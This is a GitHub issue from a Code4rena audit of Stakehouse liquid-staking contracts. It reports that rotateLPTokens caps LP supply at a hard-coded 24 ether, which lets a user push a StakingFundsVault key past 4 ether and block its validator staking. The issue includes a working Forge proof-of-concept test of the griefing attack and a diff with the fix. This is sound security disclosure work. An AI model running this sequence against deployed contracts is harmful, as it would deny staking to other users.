Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

LPTokens for StakingFundsVault can be rotated above max #329

Closed
code423n4 opened this issue Nov 18, 2022 · 3 comments
Closed

LPTokens for StakingFundsVault can be rotated above max #329

code423n4 opened this issue Nov 18, 2022 · 3 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-132 satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/ETHPoolLPFactory.sol#L83

Vulnerability details

Impact

By rotating more than max eth into StakingFundsVault a malicious user can block the validator staking for that public key from happening

The malicious user can withdraw this at any time (when they are cold > 30 min) as well, so they only commit the eth for as long as they want.

This doesn't necessarily need to be a malicious user, could happen by mistake. However then the user could simply withdraw the eth mistakenly rotated.

Proof of Concept

ETHPoolLPFactory is shared between both StakingFundsVault and SavETHVault, however the max tokens you can rotate uses the hard coded max 24 eth from SavETHVault which allows you to mint more StakingFundsVault-LPTokens than intended:

liquid-staking/ETHPoolLPFactory.sol

76:    function rotateLPTokens(LPToken _oldLPToken, LPToken _newLPToken, uint256 _amount) public {
            ...
83:        require(_amount + _newLPToken.totalSupply() <= 24 ether, "Not enough mintable tokens");

The key cannot be used to start validator staking due a check for exactly 4 eth in liquid-staking/LiquidStakingManager.sol:

934:    function _assertEtherIsReadyForValidatorStaking(bytes calldata blsPubKey) internal view {
            ...
942:        LPToken stakingFundsLP = stakingFundsVault.lpTokenForKnot(blsPubKey);
943:        require(address(stakingFundsLP) != address(0), "No funds staked in staking funds vault");
944:        require(stakingFundsLP.totalSupply() == 4 ether, "DAO staking funds vault balance must be at least 4 ether");

PoC forge test in LiquidStakingManager.t.sol:

    function testRotateMoreTokensThanIntended() public {
        address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);
        
        registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountTwo);
        registerSingleBLSPubKey(nodeRunner, blsPubKeyTwo, accountTwo);
        registerSingleBLSPubKey(nodeRunner, blsPubKeyThree, accountTwo);

        depositIntoDefaultSavETHVault(savETHUser, blsPubKeyOne, 24 ether);

        address attacker = accountTwo; vm.deal(attacker, 12 ether);
        
        // attacker deposits into different keys
        depositIntoDefaultStakingFundsVault(attacker, blsPubKeyOne, 4 ether);
        depositIntoDefaultStakingFundsVault(attacker, blsPubKeyTwo, 4 ether);
        depositIntoDefaultStakingFundsVault(attacker, blsPubKeyThree, 4 ether);

        LPToken token1 = stakingFundsVault.lpTokenForKnot(blsPubKeyOne);
        LPToken token2 = stakingFundsVault.lpTokenForKnot(blsPubKeyTwo);
        LPToken token3 = stakingFundsVault.lpTokenForKnot(blsPubKeyThree);

        console.log("before");
        console.log("token1 balance",token1.balanceOf(attacker));
        console.log("token2 balance",token2.balanceOf(attacker));
        console.log("token3 balance",token3.balanceOf(attacker));
        
        vm.warp(block.timestamp + 1 hours);

        // rotates above max for StakingFundsVault
        vm.startPrank(attacker);
        stakingFundsVault.rotateLPTokens(token2, token1, 4 ether); // can rotate up to 24 eth into stakingFundsVault
        stakingFundsVault.rotateLPTokens(token3, token1, 0.001 ether); // make sure another user cannot withdraw their 4 eth to start the staking

        console.log("after rotate");
        console.log("token1 balance",token1.balanceOf(attacker));
        console.log("token2 balance",token2.balanceOf(attacker));
        console.log("token3 balance",token3.balanceOf(attacker));

        vm.expectRevert("DAO staking funds vault balance must be at least 4 ether");
        stakeSingleBlsPubKey(blsPubKeyOne); // cant start validator staking since the amount is wrong

        vm.warp(block.timestamp + 1 hours);

        stakingFundsVault.burnLPForETH(token1,token1.balanceOf(attacker)); // attacker can get them back at any time

        console.log("after burn");
        console.log("token1 balance",token1.balanceOf(attacker));
        console.log("attacker eth  ",attacker.balance);
    }

Tools Used

vscode, forge

Recommended Mitigation Steps

Use maxStakingAmountPerValidator instead of 24 eth:

diff --git a/contracts/liquid-staking/ETHPoolLPFactory.sol b/contracts/liquid-staking/ETHPoolLPFactory.sol
index caa0cf8..64a46a8 100644
--- a/contracts/liquid-staking/ETHPoolLPFactory.sol
+++ b/contracts/liquid-staking/ETHPoolLPFactory.sol
@@ -80,7 +80,7 @@ abstract contract ETHPoolLPFactory is StakehouseAPI {
         require(_amount >= MIN_STAKING_AMOUNT, "Amount cannot be zero");
         require(_amount <= _oldLPToken.balanceOf(msg.sender), "Not enough balance");
         require(_oldLPToken.lastInteractedTimestamp(msg.sender) + 30 minutes < block.timestamp, "Liquidity is still fresh");
-        require(_amount + _newLPToken.totalSupply() <= 24 ether, "Not enough mintable tokens");
+        require(_amount + _newLPToken.totalSupply() <= maxStakingAmountPerValidator, "Not enough mintable tokens");
 
         bytes memory blsPublicKeyOfPreviousKnot = KnotAssociatedWithLPToken[_oldLPToken];
         bytes memory blsPublicKeyOfNewKnot = KnotAssociatedWithLPToken[_newLPToken];
@code423n4 code423n4 added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Nov 18, 2022
code423n4 added a commit that referenced this issue Nov 18, 2022
@c4-judge
Copy link
Contributor

dmvt marked the issue as duplicate of #118

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Nov 30, 2022
@c4-judge
Copy link
Contributor

dmvt marked the issue as satisfactory

@C4-Staff
Copy link
Contributor

JeeberC4 marked the issue as duplicate of #132

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-132 satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

3 participants